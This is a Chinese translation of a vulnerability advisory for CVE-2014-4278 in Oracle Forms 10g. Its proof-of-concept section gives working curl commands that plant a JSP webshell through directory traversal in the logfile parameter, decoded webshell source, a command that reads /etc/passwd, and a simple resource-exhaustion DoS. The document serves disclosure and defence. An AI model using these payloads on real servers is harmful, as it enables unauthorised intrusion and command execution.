Oracle Forms 10g 未认证远程代码执行漏洞分析(CVE-2014-4278)
Oracle Forms 10g 代码没有正确地验证用户的输入,会导致未授权用户在远程的Oracle Form 服务器上命令执行。
这个漏洞也影响 Oracle E-Business Suite 12.0.6, 12.1.3, 12.2.2, 12.2.3 and 12.2.4 [1]
当用户在运行Oracle Forms 的应用程序时,这个应用程序首先会调用一个 FormServlet类去初始化连接,然后调用 ListenerServlet 类,而ListenerServlet类在远程服务器后台运行frmweb 进程。
正确调用 ListenerServlet类 的 URL类似于
http://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1
有了以上的URL,正常的frmweb 进程会以 以下参数运行
frmweb server webfile=HTTP-0,0,0,em_mode,127.0.0.1
这里 ifip 的参数是受到用户输入控制的, 然而frmweb 可执行,然而需要另外一个参数logfile
frmweb server webfile=HTTP-0,0,0,em_mode,127.0.0.1,logfile
logfile这个日志文件可以由用户任意取名, 是通过请求创建的;
日志内容包含如下日志名称等等:
FORMS CONNECTION ACTIVITY LOG FILE
Developer:Forms/LogRecord
[Fri May 9 16:46:58 2014 EDT]::Server Start-up Data:
Server Log Filename: logfile
Server Hostname: oralin6u5x86
Server Port: 0
Server Pool: 1
Server Process Id: 15638
Oracle Forms 应用程序没有很好地验证logfile的参数,而且允许目录遍历。通过控制传递给 ListenerServlet类的参数ifip ,攻击者可以控制 logfile的位置以及其部分内容。当远程Web服务器配置不当时,比如允许jsp文件运行在 http://host:port/forms/java 目录时 ,攻击者可以上传webshell,并且在服务器上任意执行。
Web 服务器好像不支持空格以及空行,也限制了可以传送到 frmweb上执行代码的字符数量,为了要执行操作系统命令,需要自定义jsp shell来绕过这些限制。
POC(观点证明) ( 测试环境Oracle Development Suite 10.1.2.0.2 ;Oracle Linux 5u6)
1. 上传 一句话命令(编码后的版本见Other Notes)
curl --request GET 'http://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1,./java/<%25java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"))%3b%25>.jsp'
2. 然后,攻击者通过
http://127.0.0.1:8889/forms/java/<%25java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"))%3b%25>.jsp执行系统命令,为了获取执行结果,可以参考 fuzzdb的这个cmd.jsp [3] shell,使用第一个shell来写入第二个jsp shell
curl --request GET 'http://127.0.0.1:8889/forms/java/<%25java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"))%3b%25>.jsp?cmd=/bin/sh&cmd=-c&cmd=echo%20PCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKiIlPjwlU3RyaW5nIG9wPSIiLHM9IiI7dHJ5e1Byb2Nlc3MgcD1SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7QnVmZmVyZWRSZWFkZXIgc0k9bmV3IEJ1ZmZlcmVkUmVhZGVyKG5ldyBJbnB1dFN0cmVhbVJlYWRlcihwLmdldElu-cHV0U3RyZWFtKCkpKTt3aGlsZSgocz1zSS5yZWFkTGluZSgpKSE9bnVsbCl7b3ArPXM7fX1jYXRjaChJT0V4Y2VwdGlvbiBlKXtlLnByaW50U3RhY2tUcmFjZSgpO30lPjwlPW9wJT4%3d|base64%20--decode%3E./forms/java/cmd.jsp'
3. 第二个shell现在位于http://127.0.0.1:8889/forms/java/cmd.jsp, 演示获取 /etc/passwd的内容,可以通过以下操作
curl --request GET 'http://127.0.0.1:8889/forms/java/cmd.jsp?cmd=cat+/etc/passwd'
1. 创建一个允许出现在用户输入中的白名单,包含明显需要排除的黑名单
2. 如果不需要的话,去除 对jsp 文件的解析支持
url编码过的 第一个 jsp shell
<%java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"));%>
Base64编码过的 jsp shell
<%@page import="java.io.*"%><%String op="",s="";try{Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s=sI.readLine())!=null){op+=s;}}catch(IOException e){e.printStackTrace();}%><%=op%>
Oracle Forms 10g 也易受到 简单的DOS攻击,每次请求一个
http://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1
frmweb 将会在后台运行,攻击者通过每次请求同样的URL将会耗尽服务器的资源。
我相信这个行为将会在11g的时候修复并且通过连接池的方式解决。
对于 Oracle Form 11g和后续 ,仍然有可能通过不同的参数,存在 frmweb 可执行参数。
然而frmweb好像没有意识到log文件位置的最后一个参数,因此还存在其它的可执行漏洞。
由于 Oracle 已经停止支持10g[2],那个 对于 forms 10g的补丁没有在 2014 10 CPU上[1] 发布。
然而 forms 10g 仍然在商业产品中使用,因此如果你需要继续使用 Oracle Forms 10g的话,应该要打一个补丁,或者建议升级到11g 或 更新.
报告时间
2014 5 .15 漏洞报告给 oracle
2014 6.18 漏洞被 oracle确认
2014 10.14 补丁出现
[1] http://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html
[2] https://blogs.oracle.com/grantronald/entry/alert_for_forms_customers_running_oracle_forms_10g
[3] https://github.com/rustyrobot/fuzzdb/blob/master/web-backdoors/jsp/cmd.jsp
【原文 advisory-oracle-forms-10g-unauthenticated-remote-code-execution-cve-2014-4278 翻译wcc 】